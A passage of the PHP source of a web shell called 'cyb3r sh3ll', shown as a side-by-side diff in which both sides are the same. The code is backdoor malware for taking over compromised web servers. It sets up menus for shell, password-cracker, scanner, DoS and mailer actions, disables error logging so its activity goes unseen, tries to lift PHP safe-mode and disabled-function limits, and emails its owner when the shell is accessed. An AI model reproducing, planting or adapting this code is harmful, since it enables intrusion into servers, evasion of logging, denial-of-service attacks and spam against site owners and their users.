| 358 | $sess_cookie = "cyb3rvars"; // Cookie-variable name | 358 | $sess_cookie = "cyb3rvars"; // Cookie-variable name |
| 359 | $usefsbuff = TRUE; //Buffer-function | 359 | $usefsbuff = TRUE; //Buffer-function |
| 360 | $px7 ="html"; | 360 | $px7 ="html"; |
| 361 | $copy_unset = FALSE; //Remove copied files from buffer after pasting | 361 | $copy_unset = FALSE; //Remove copied files from buffer after pasting |
| 362 | //Quick launch | 362 | //Quick launch |
| 363 | $quicklaunch = array( | 363 | $quicklaunch = array( |
| 364 | array("<img src=\"".$surl."act=img&img=home\" alt=\"Home\" height=\"20\" width=\"20\" border=\"0\">",$surl), | 364 | array("<img src=\"".$surl."act=img&img=home\" alt=\"Home\" height=\"20\" width=\"20\" border=\"0\">",$surl), |
| 365 | array("<img src=\"".$surl."act=img&img=back\" alt=\"Back\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.back(1)"), | 365 | array("<img src=\"".$surl."act=img&img=back\" alt=\"Back\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.back(1)"), |
| 366 | array("<img src=\"".$surl."act=img&img=forward\" alt=\"Forward\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.go(1)"), | 366 | array("<img src=\"".$surl."act=img&img=forward\" alt=\"Forward\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.go(1)"), |
| 367 | array("<img src=\"".$surl."act=img&img=up\" alt=\"UPDIR\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=ls&d=%upd&sort=%sort"), | 367 | array("<img src=\"".$surl."act=img&img=up\" alt=\"UPDIR\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=ls&d=%upd&sort=%sort"), |
| 368 | array("<img src=\"".$surl."act=img&img=refresh\" alt=\"Refresh\" height=\"20\" width=\"17\" border=\"0\">",""), | 368 | array("<img src=\"".$surl."act=img&img=refresh\" alt=\"Refresh\" height=\"20\" width=\"17\" border=\"0\">",""), |
| 369 | array("<img src=\"".$surl."act=img&img=search\" alt=\"Search\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=search&d=%d"), | 369 | array("<img src=\"".$surl."act=img&img=search\" alt=\"Search\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=search&d=%d"), |
| 370 | array("<img src=\"".$surl."act=img&img=buffer\" alt=\"Buffer\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=fsbuff&d=%d"), | 370 | array("<img src=\"".$surl."act=img&img=buffer\" alt=\"Buffer\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=fsbuff&d=%d"), |
| 371 | array("<b>Encoder</b>",$surl."act=encoder&d=%d"), | 371 | array("<b>Encoder</b>",$surl."act=encoder&d=%d"), |
| 372 | array("<b>Shell</b>",$surl."act=shells&d=%d"), | 372 | array("<b>Shell</b>",$surl."act=shells&d=%d"), |
| 373 | array("<b>Cracker</b>",$surl."act=cracker&d=%d"), | 373 | array("<b>Cracker</b>",$surl."act=cracker&d=%d"), |
| 374 | array("<b>Scanner</b>",$surl."act=scanner&d=%d"), | 374 | array("<b>Scanner</b>",$surl."act=scanner&d=%d"), |
| 375 | array("<b>Net Tools</b>",$surl."act=nettools&d=%d"), | 375 | array("<b>Net Tools</b>",$surl."act=nettools&d=%d"), |
| 376 | array("<b>SQL</b>",$surl."act=sql&d=%d"), | 376 | array("<b>SQL</b>",$surl."act=sql&d=%d"), |
| 377 | array("<b>PHP-code</b>",$surl."act=phpcode&d=%d"), | 377 | array("<b>PHP-code</b>",$surl."act=phpcode&d=%d"), |
| 378 | array("<b>Mailer</b>",$surl."act=mailer&d=%d"), //update this section copy from b3t4k shell hardeep | 378 | array("<b>Mailer</b>",$surl."act=mailer&d=%d"), //update this section copy from b3t4k shell hardeep |
| 379 | array("<b>DOS</b>",$surl."act=dos&d=%d"), //update this section copy from b3t4k shell hardeep | 379 | array("<b>DOS</b>",$surl."act=dos&d=%d"), //update this section copy from b3t4k shell hardeep |
| 380 | array("<b>Local Domain</b>",$surl."act=localdomain&d=%d"), //update this section copy from b3t4k shell hardeep | 380 | array("<b>Local Domain</b>",$surl."act=localdomain&d=%d"), //update this section copy from b3t4k shell hardeep |
| 381 | array("<b>Upload</b>",$surl."act=upload&d=%d"), | 381 | array("<b>Upload</b>",$surl."act=upload&d=%d"), |
| 382 | array("<b>About</b>",$surl."act=about&d=%d"), //update this section copy from b3t4k shell hardeep | 382 | array("<b>About</b>",$surl."act=about&d=%d"), //update this section copy from b3t4k shell hardeep |
| 383 | ); | 383 | ); |
| 384 | //Highlight-code colors | 384 | //Highlight-code colors |
| 385 | $highlight_background = "#c0c0c0"; | 385 | $highlight_background = "#c0c0c0"; |
| 386 | $highlight_bg = "#FFFFFF"; | 386 | $highlight_bg = "#FFFFFF"; |
| 387 | $highlight_comment = "#6A6A6A"; | 387 | $highlight_comment = "#6A6A6A"; |
| 388 | $highlight_default = "#0000BB"; | 388 | $highlight_default = "#0000BB"; |
| 389 | $highlight_html = "#1300FF"; | 389 | $highlight_html = "#1300FF"; |
| 390 | $highlight_keyword = "#007700"; | 390 | $highlight_keyword = "#007700"; |
| 391 | $highlight_string = "#000000"; | 391 | $highlight_string = "#000000"; |
| 392 | @$f = $_REQUEST["f"]; | 392 | @$f = $_REQUEST["f"]; |
| 393 | @extract($_REQUEST["cyb3rcook"]); | 393 | @extract($_REQUEST["cyb3rcook"]); |
| 394 | //END CONFIGURATION | 394 | //END CONFIGURATION |
| 395 | // -------------- Traceback Functions | 395 | // -------------- Traceback Functions |
| 396 | function sendLoginAlert() | 396 | function sendLoginAlert() |
| 397 | { | 397 | { |
| 398 | global $ownerEmail; | 398 | global $ownerEmail; |
| 399 | global $url; | 399 | global $url; |
| 400 | $ref=$_SERVER['HTTP_REFERER']; | 400 | $ref=$_SERVER['HTTP_REFERER']; |
| 401 | $agent=$_SERVER['HTTP_USER_AGENT']; | 401 | $agent=$_SERVER['HTTP_USER_AGENT']; |
| 402 | $accesedIp = $_SERVER['REMOTE_ADDR']; | 402 | $accesedIp = $_SERVER['REMOTE_ADDR']; |
| 403 | $randomInt = rand(0,1000000); # to avoid id blocking | 403 | $randomInt = rand(0,1000000); # to avoid id blocking |
| 404 | $from = "cyb3r-sh3ll$randomInt@cyb3r.gladiat0r.com"; | 404 | $from = "cyb3r-sh3ll$randomInt@cyb3r.gladiat0r.com"; |
| 405 | //echo $from; | 405 | //echo $from; |
| 406 | if(function_exists('mail')) | 406 | if(function_exists('mail')) |
| 407 | { | 407 | { |
| 408 | $subject = "Shell Accessed -- cyb3r-Sh3ll --"; | 408 | $subject = "Shell Accessed -- cyb3r-Sh3ll --"; |
| 409 | $message = " | 409 | $message = " |
| 410 | Hey Owner , | 410 | Hey Owner , |
| 411 | 411 | ||
| 412 | Your Shell(cyb3r-Sh3ll) located at $url was accessed by $accesedIp this mail refered by $ref | 412 | Your Shell(cyb3r-Sh3ll) located at $url was accessed by $accesedIp this mail refered by $ref |
| 413 | Your shell was accesed by $agent | 413 | Your shell was accesed by $agent |
| 414 | 414 | ||
| 415 | If its not you :- | 415 | If its not you :- |
| 416 | 416 | ||
| 417 | 1. Please check if the shell is secured. | 417 | 1. Please check if the shell is secured. |
| 418 | 2. Change your user name and Password. | 418 | 2. Change your user name and Password. |
| 419 | 3. Check if lock is 0n! | 419 | 3. Check if lock is 0n! |
| 420 | 420 | ||
| 421 | Thanking You | 421 | Thanking You |
| 422 | 422 | ||
| 423 | Yours Faithfully | 423 | Yours Faithfully |
| 424 | cyb3r Sh3ll | 424 | cyb3r Sh3ll |
| 425 | "; | 425 | "; |
| 426 | mail($ownerEmail,$subject,$message,'From:'.$from); | 426 | mail($ownerEmail,$subject,$message,'From:'.$from); |
| 427 | } | 427 | } |
| 428 | } | 428 | } |
| 429 | 429 | ||
| 430 | //--------------------------------------------------------- | 430 | //--------------------------------------------------------- |
| 431 | if(function_exists('session_start') && $lock == 'on') | 431 | if(function_exists('session_start') && $lock == 'on') |
| 432 | { | 432 | { |
| 433 | session_start(); | 433 | session_start(); |
| 434 | } | 434 | } |
| 435 | else | 435 | else |
| 436 | { | 436 | { |
| 437 | // The lock will be set to 'off' if the session_start fuction is disabled i.e if sessions are not supported | 437 | // The lock will be set to 'off' if the session_start fuction is disabled i.e if sessions are not supported |
| 438 | $lock = 'off'; | 438 | $lock = 'off'; |
| 439 | } | 439 | } |
| 440 | 440 | ||
| 441 | //logout | 441 | //logout |
| 442 | if(isset($_GET['logout']) && $lock == 'on') | 442 | if(isset($_GET['logout']) && $lock == 'on') |
| 443 | { | 443 | { |
| 444 | $_SESSION['authenticated'] = 0; | 444 | $_SESSION['authenticated'] = 0; |
| 445 | session_destroy(); | 445 | session_destroy(); |
| 446 | header("location: ".$_SERVER['PHP_SELF']); | 446 | header("location: ".$_SERVER['PHP_SELF']); |
| 447 | } | 447 | } |
| 448 | 448 | ||
| 449 | /***************** Restoring *******************************/ | 449 | /***************** Restoring *******************************/ |
| 450 | ini_restore("safe_mode_include_dir"); | 450 | ini_restore("safe_mode_include_dir"); |
| 451 | ini_restore("safe_mode_exec_dir"); | 451 | ini_restore("safe_mode_exec_dir"); |
| 452 | ini_restore("disable_functions"); | 452 | ini_restore("disable_functions"); |
| 453 | ini_restore("allow_url_fopen"); | 453 | ini_restore("allow_url_fopen"); |
| 454 | ini_restore("safe_mode"); | 454 | ini_restore("safe_mode"); |
| 455 | ini_restore("open_basedir"); | 455 | ini_restore("open_basedir"); |
| 456 | if(function_exists('ini_set')) | 456 | if(function_exists('ini_set')) |
| 457 | { | 457 | { |
| 458 | ini_set('error_log',NULL); // No alarming logs | 458 | ini_set('error_log',NULL); // No alarming logs |
| 459 | ini_set('log_errors',0); // No logging of errors | 459 | ini_set('log_errors',0); // No logging of errors |
| 460 | ini_set('file_uploads',1); // Enable file uploads | 460 | ini_set('file_uploads',1); // Enable file uploads |
| 461 | ini_set('allow_url_fopen',1); // allow url fopen | 461 | ini_set('allow_url_fopen',1); // allow url fopen |
| 462 | } | 462 | } |
| 463 | 463 | ||
| 464 | else | 464 | else |
| 465 | { | 465 | { |
| 466 | ini_alter('error_log',NULL); | 466 | ini_alter('error_log',NULL); |
| 467 | ini_alter('log_errors',0); | 467 | ini_alter('log_errors',0); |
| 468 | ini_alter('file_uploads',1); | 468 | ini_alter('file_uploads',1); |
| 469 | ini_alter('allow_url_fopen',1); | 469 | ini_alter('allow_url_fopen',1); |
| 470 | } | 470 | } |
| 471 | // ---------------------------------------------------------------------------------------------------------------- | 471 | // ---------------------------------------------------------------------------------------------------------------- |
| 472 | // \/Next code isn't for editing\/ | 472 | // \/Next code isn't for editing\/ |
| 473 | @set_time_limit(0); | 473 | @set_time_limit(0); |
| 474 | $tmp = array(); | 474 | $tmp = array(); |
| 475 | foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\\*",".*",preg_quote($v));} | 475 | foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\\*",".*",preg_quote($v));} |
| 476 | $s = "!^(".implode("|",$tmp).")$!i"; | 476 | $s = "!^(".implode("|",$tmp).")$!i"; |
| 477 | if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("<a href=\"#\">cyb3r sh3ll</a>: Access Denied - your host (".getenv("REMOTE_ADDR").") not allow");} | 477 | if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("<a href=\"#\">cyb3r sh3ll</a>: Access Denied - your host (".getenv("REMOTE_ADDR").") not allow");} |
| 478 | ?> | 478 | ?> |
| 479 | <html> | 479 | <html> |
| 480 | <head><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><meta http-equiv="Content-Language" content="en-us"> | 480 | <head><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><meta http-equiv="Content-Language" content="en-us"> |
| 481 | <title>cyb3r sh3ll | India - <?php echo getenv("HTTP_HOST"); ?></title> | 481 | <title>cyb3r sh3ll | India - <?php echo getenv("HTTP_HOST"); ?></title> |
| 482 | <?php | 482 | <?php |
| 483 | if($antiCrawler != 'off') | 483 | if($antiCrawler != 'off') |
| 484 | { | 484 | { |
| 485 | ?> | 485 | ?> |
| 486 | <meta name="ROBOTS" content="NOINDEX, NOFOLLOW" /> | 486 | <meta name="ROBOTS" content="NOINDEX, NOFOLLOW" /> |
| 487 | <?php | 487 | <?php |
| 488 | } | 488 | } |
| 489 | ?> | 489 | ?> |
| 490 | <STYLE> | 490 | <STYLE> |
| 491 | TD { FONT-SIZE: 8pt; COLOR: #ebebeb; FONT-FAMILY: verdana;}BODY { scrollbar-face-color: #15354C; scrollbar-shadow-color: #15354C; scrollbar-highlight-color: #15354C; scrollbar-3dlight-color: #15354C scrollbar-darkshadow-color: #15354C; scrollbar-track-color: #050E14; scrollbar-arrow-color: #D9D9D9; font-family: Verdana;}TD.header { FONT-WEIGHT: normal; FONT-SIZE: 10pt; BACKGROUND: #7d7474; COLOR: white; FONT-FAMILY: verdana;}A { FONT-WEIGHT: normal; COLOR: #dadada; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A.Links { COLOR: #ffffff; TEXT-DECORATION: none;}A.Links:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; TEXT-DECORATION: none;}A:hover { COLOR: #ffffff; TEXT-DECORATION: underline;}.skin0{position:absolute; width:200px; border:2px solid black; background-color:menu; font-family:Verdana; line-height:20px; cursor:default; visibility:hidden;;}.skin1{cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibility:hidden; border: 2 outset buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}.menuitems{padding-left:15px; padding-right:10px;;}input{background-color: #2b3b46; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}textarea{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}button{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}select{background-color: #2b3b46; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}option {background-color: #2b3b46; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}iframe {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}blockquote{ font-size: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #A9A9A9; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #B7B2B0;}body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #050e14;}</style> | 491 | TD { FONT-SIZE: 8pt; COLOR: #ebebeb; FONT-FAMILY: verdana;}BODY { scrollbar-face-color: #15354C; scrollbar-shadow-color: #15354C; scrollbar-highlight-color: #15354C; scrollbar-3dlight-color: #15354C scrollbar-darkshadow-color: #15354C; scrollbar-track-color: #050E14; scrollbar-arrow-color: #D9D9D9; font-family: Verdana;}TD.header { FONT-WEIGHT: normal; FONT-SIZE: 10pt; BACKGROUND: #7d7474; COLOR: white; FONT-FAMILY: verdana;}A { FONT-WEIGHT: normal; COLOR: #dadada; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A.Links { COLOR: #ffffff; TEXT-DECORATION: none;}A.Links:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; TEXT-DECORATION: none;}A:hover { COLOR: #ffffff; TEXT-DECORATION: underline;}.skin0{position:absolute; width:200px; border:2px solid black; background-color:menu; font-family:Verdana; line-height:20px; cursor:default; visibility:hidden;;}.skin1{cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibility:hidden; border: 2 outset buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}.menuitems{padding-left:15px; padding-right:10px;;}input{background-color: #2b3b46; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}textarea{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}button{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}select{background-color: #2b3b46; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}option {background-color: #2b3b46; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}iframe {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}blockquote{ font-size: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #A9A9A9; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #B7B2B0;}body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #050e14;}</style> |
| 492 | </head> | 492 | </head> |
| 493 | <BODY text=#ffffff bottomMargin=0 bgColor=#050e14 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0> | 493 | <BODY text=#ffffff bottomMargin=0 bgColor=#050e14 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0> |
| 494 | <?php | 494 | <?php |
| 495 | if(isset($_POST['user']) && isset($_POST['pass']) && $lock == 'on') | 495 | if(isset($_POST['user']) && isset($_POST['pass']) && $lock == 'on') |
| 496 | { | 496 | { |
| 497 | if( $_POST['user'] == $user && | 497 | if( $_POST['user'] == $user && |
| 498 | $_POST['pass'] == $pass ) | 498 | $_POST['pass'] == $pass ) |
| 499 | { | 499 | { |
| 500 | $_SESSION['authenticated'] = 1; | 500 | $_SESSION['authenticated'] = 1; |
| 501 | // --------------------- Tracebacks -------------------------------- | 501 | // --------------------- Tracebacks -------------------------------- |
| 502 | if($tracebackFeature == 'On') | 502 | if($tracebackFeature == 'On') |
| 503 | { | 503 | { |
| 504 | sendLoginAlert(); | 504 | sendLoginAlert(); |
| 505 | } | 505 | } |
| 506 | // ------------------------------------------------------------------ | 506 | // ------------------------------------------------------------------ |
| 507 | } | 507 | } |
| 508 | } | 508 | } |
| 509 | 509 | ||
| 510 | if($lock == 'off') | 510 | if($lock == 'off') |
| 511 | {?> | 511 | {?> |
| 512 | <p><font color=red><b>Lock is Switched Off! , The shell can be accessed by anyone!</b></font></p> | 512 | <p><font color=red><b>Lock is Switched Off! , The shell can be accessed by anyone!</b></font></p> |
| 513 | <?php | 513 | <?php |
| 514 | } | 514 | } |
| 515 | 515 | ||
| 516 | if($lock == 'on' && (!isset($_SESSION['authenticated']) || $_SESSION['authenticated']!=1) ) | 516 | if($lock == 'on' && (!isset($_SESSION['authenticated']) || $_SESSION['authenticated']!=1) ) |
| 517 | { | 517 | { |
| 518 | 518 | ||
| 519 | ?> | 519 | ?> |
| 520 | <TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark='#666666' cellPadding=5 width="100%" bgColor='#15354c' borderColorLight='#c0c0c0' border=1 bordercolor='#C0C0C0'> | 520 | <TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark='#666666' cellPadding=5 width="100%" bgColor='#15354c' borderColorLight='#c0c0c0' border=1 bordercolor='#C0C0C0'> |
| 521 | <tr><td valign='top'><center><font face="times, serif" size="3" color="white">Welcome to the most advanced PHP web Shell- <b><font color=orange>cyb</font>3r Sh<font color=green>3ll</font></b> :: By cyb3r gl4d!470r ...</font></center></td> | 521 | <tr><td valign='top'><center><font face="times, serif" size="3" color="white">Welcome to the most advanced PHP web Shell- <b><font color=orange>cyb</font>3r Sh<font color=green>3ll</font></b> :: By cyb3r gl4d!470r ...</font></center></td> |
| 522 | </tr> | 522 | </tr> |
| 523 | </table> | 523 | </table> |
| 524 | <br/> | 524 | <br/> |
| 525 | 525 | ||
| 526 | 526 | ||
| 527 | <TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark='#666666' cellPadding=5 width="100%" bgColor=#15354c borderColorLight=#c0c0c0 border=0 bordercolor='#C0C0C0'> | 527 | <TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark='#666666' cellPadding=5 width="100%" bgColor=#15354c borderColorLight=#c0c0c0 border=0 bordercolor='#C0C0C0'> |
| 528 | <tr> | 528 | <tr> |
| 529 | 529 | ||
| 530 | <td width="50%"><center><img src="http://s15.postimage.org/94kp4a0ej/indian_flag.png" /></center></td> | 530 | <td width="50%"><center><img src="http://s15.postimage.org/94kp4a0ej/indian_flag.png" /></center></td> |
| 531 | <td><center><img src="http://s15.postimage.org/whiqmsgi3/gladiator.png" width="352px" height="500px"/></center></td> | 531 | <td><center><img src="http://s15.postimage.org/whiqmsgi3/gladiator.png" width="352px" height="500px"/></center></td> |
| 532 | </tr> | 532 | </tr> |
| 533 | </table> | 533 | </table> |
| 534 | <div style="position:absolute; border-style:solid;border-width:0px; top:280px;left:280px; right:430px; bottom:180px;" > | 534 | <div style="position:absolute; border-style:solid;border-width:0px; top:280px;left:280px; right:430px; bottom:180px;" > |
| 535 | <center><font face="times, serif" color="white"> | 535 | <center><font face="times, serif" color="white"> |
| 536 | <h1><?php echo $welcome; ?></h1><br /><br /> | 536 | <h1><?php echo $welcome; ?></h1><br /><br /> |
| 537 | <form method="POST" action=""> | 537 | <form method="POST" action=""> |
| 538 | <input name="user" value="Username"/> <input name="pass" type="password" value="Password"/> <input type="Submit" value="Own This Box!"/> | 538 | <input name="user" value="Username"/> <input name="pass" type="password" value="Password"/> <input type="Submit" value="Own This Box!"/> |
| 539 | </form> | 539 | </form> |
| 540 | <font size="3">Coded by cyb3r 9ladiat0r for all hacking communities working for my motherland.......<br/><br/> | 540 | <font size="3">Coded by cyb3r 9ladiat0r for all hacking communities working for my motherland.......<br/><br/> |
| 541 | 541 | ||
| 542 | Always there to serve my country, My India on any Terms...</font> | 542 | Always there to serve my country, My India on any Terms...</font> |
| 543 | 543 | ||
| 544 | </font> | 544 | </font> |
| 545 | </center> | 545 | </center> |
| 546 | </div> | 546 | </div> |
| 547 | <br/> | 547 | <br/> |
| 548 | <?php | 548 | <?php |
| 549 | } | 549 | } |
| 550 | //---------------------------------- We are authenticated now------------------------------------- | 550 | //---------------------------------- We are authenticated now------------------------------------- |
| 551 | //Launch the shell | 551 | //Launch the shell |
| 552 | else | 552 | else |
| 553 | { | 553 | { |
| 554 | 554 | ||
| 555 | if ($act != "img") | 555 | if ($act != "img") |
| 556 | 556 | ||
| 557 | { | 557 | { |
| 558 | 558 | ||
| 559 | $lastdir = realpath("."); | 559 | $lastdir = realpath("."); |
| 560 | 560 | ||
| 561 | chdir($curdir); | 561 | chdir($curdir); |
| 562 | 562 | ||
| 563 | if ($selfwrite or $updatenow) {@ob_clean(); cyb3r_getupdate($selfwrite,1); exit;} | 563 | if ($selfwrite or $updatenow) {@ob_clean(); cyb3r_getupdate($selfwrite,1); exit;} |
| 564 | 564 | ||
| 565 | $sess_data = unserialize($_COOKIE["$sess_cookie"]); | 565 | $sess_data = unserialize($_COOKIE["$sess_cookie"]); |
| 566 | 566 | ||
| 567 | if (!is_array($sess_data)) {$sess_data = array();} | 567 | if (!is_array($sess_data)) {$sess_data = array();} |
| 568 | 568 | ||
| 569 | if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();} | 569 | if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();} |
| 570 | 570 | ||
| 571 | if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();} | 571 | if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();} |
| 572 | 572 | ||
| 573 | 573 | ||
| 574 | 574 | ||
| 575 | $disablefunc = @ini_get("disable_functions"); | 575 | $disablefunc = @ini_get("disable_functions"); |
| 576 | 576 | ||
| 577 | if (!empty($disablefunc)) | 577 | if (!empty($disablefunc)) |
| 578 | 578 | ||
| 579 | { | 579 | { |
| 580 | 580 | ||
| 581 | $disablefunc = str_replace(" ","",$disablefunc); | 581 | $disablefunc = str_replace(" ","",$disablefunc); |
| 582 | 582 | ||
| 583 | $disablefunc = explode(",",$disablefunc); | 583 | $disablefunc = explode(",",$disablefunc); |
| 584 | 584 | ||
| 585 | } | 585 | } |
| 586 | 586 | ||
| 587 | 587 | ||
| 588 | 588 | ||
| 589 | if (!function_exists("cyb3r_buff_prepare")) | 589 | if (!function_exists("cyb3r_buff_prepare")) |
| 590 | 590 | ||
| 591 | { | 591 | { |
| 592 | 592 | ||
| 593 | function cyb3r_buff_prepare() | 593 | function cyb3r_buff_prepare() |
| 594 | 594 | ||
| 595 | { | 595 | { |
| 596 | 596 | ||
| 597 | global $sess_data; | 597 | global $sess_data; |
| 598 | 598 | ||
| 599 | global $act; | 599 | global $act; |
| 600 | 600 | ||
| 601 | foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} | 601 | foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} |
| 602 | 602 | ||
| 603 | foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} | 603 | foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} |
| 604 | 604 | ||
| 605 | $sess_data["copy"] = array_unique($sess_data["copy"]); | 605 | $sess_data["copy"] = array_unique($sess_data["copy"]); |
| 606 | 606 | ||
| 607 | $sess_data["cut"] = array_unique($sess_data["cut"]); | 607 | $sess_data["cut"] = array_unique($sess_data["cut"]); |
| 608 | 608 | ||
| 609 | sort($sess_data["copy"]); | 609 | sort($sess_data["copy"]); |
| 610 | 610 | ||
| 611 | sort($sess_data["cut"]); | 611 | sort($sess_data["cut"]); |
| 612 | 612 | ||
| 613 | if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}} | 613 | if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}} |
| 614 | 614 | ||
| 615 | else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}} | 615 | else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}} |
| 616 | 616 | ||
| 617 | } | 617 | } |
| 618 | 618 | ||
| 619 | } | 619 | } |
| 620 | 620 | ||
| 621 | cyb3r_buff_prepare(); | 621 | cyb3r_buff_prepare(); |
| 622 | 622 | ||
| 623 | if (!function_exists("cyb3r_sess_put")) | 623 | if (!function_exists("cyb3r_sess_put")) |
| 624 | 624 | ||
| 625 | { | 625 | { |
| 626 | 626 | ||
| 627 | function cyb3r_sess_put($data) | 627 | function cyb3r_sess_put($data) |
| 628 | 628 | ||
| 629 | { | 629 | { |
| 630 | 630 | ||
| 631 | global $sess_cookie; | 631 | global $sess_cookie; |
| 632 | 632 | ||
| 633 | global $sess_data; | 633 | global $sess_data; |
| 634 | 634 | ||
| 635 | cyb3r_buff_prepare(); | 635 | cyb3r_buff_prepare(); |
| 636 | 636 | ||
| 637 | $sess_data = $data; | 637 | $sess_data = $data; |
| 638 | 638 | ||
| 639 | $data = serialize($data); | 639 | $data = serialize($data); |
| 640 | 640 | ||
| 641 | setcookie($sess_cookie,$data); | 641 | setcookie($sess_cookie,$data); |
| 642 | 642 | ||
| 643 | } | 643 | } |
| 644 | 644 | ||
| 645 | } | 645 | } |
| 646 | 646 | ||
| 647 | foreach (array("sort","sql_sort") as $v) | 647 | foreach (array("sort","sql_sort") as $v) |
| 648 | 648 | ||
| 649 | { | 649 | { |
| 650 | 650 | ||
| 651 | if (!empty($_GET[$v])) {$$v = $_GET[$v];} | 651 | if (!empty($_GET[$v])) {$$v = $_GET[$v];} |
| 652 | 652 | ||
| 653 | if (!empty($_POST[$v])) {$$v = $_POST[$v];} | 653 | if (!empty($_POST[$v])) {$$v = $_POST[$v];} |
| 654 | 654 | ||
| 655 | } | 655 | } |
| 656 | 656 | ||
| 657 | if ($sort_save) | 657 | if ($sort_save) |
| 658 | 658 | ||
| 659 | { | 659 | { |
| 660 | 660 | ||
| 661 | if (!empty($sort)) {setcookie("sort",$sort);} | 661 | if (!empty($sort)) {setcookie("sort",$sort);} |
| 662 | 662 | ||
| 663 | if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);} | 663 | if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);} |
| 664 | 664 | ||
| 665 | } | 665 | } |
| 666 | 666 | ||
| 667 | if (!function_exists("str2mini")) | 667 | if (!function_exists("str2mini")) |
| 668 | 668 | ||
| 669 | { | 669 | { |
| 670 | 670 | ||
| 671 | function str2mini($content,$len) | 671 | function str2mini($content,$len) |
| 672 | 672 | ||
| 673 | { | 673 | { |
| 674 | 674 | ||
| 675 | if (strlen($content) > $len) | 675 | if (strlen($content) > $len) |
| 676 | 676 | ||
| 677 | { | 677 | { |
| 678 | 678 | ||
| 679 | $len = ceil($len/2) - 2; | 679 | $len = ceil($len/2) - 2; |
| 680 | 680 | ||
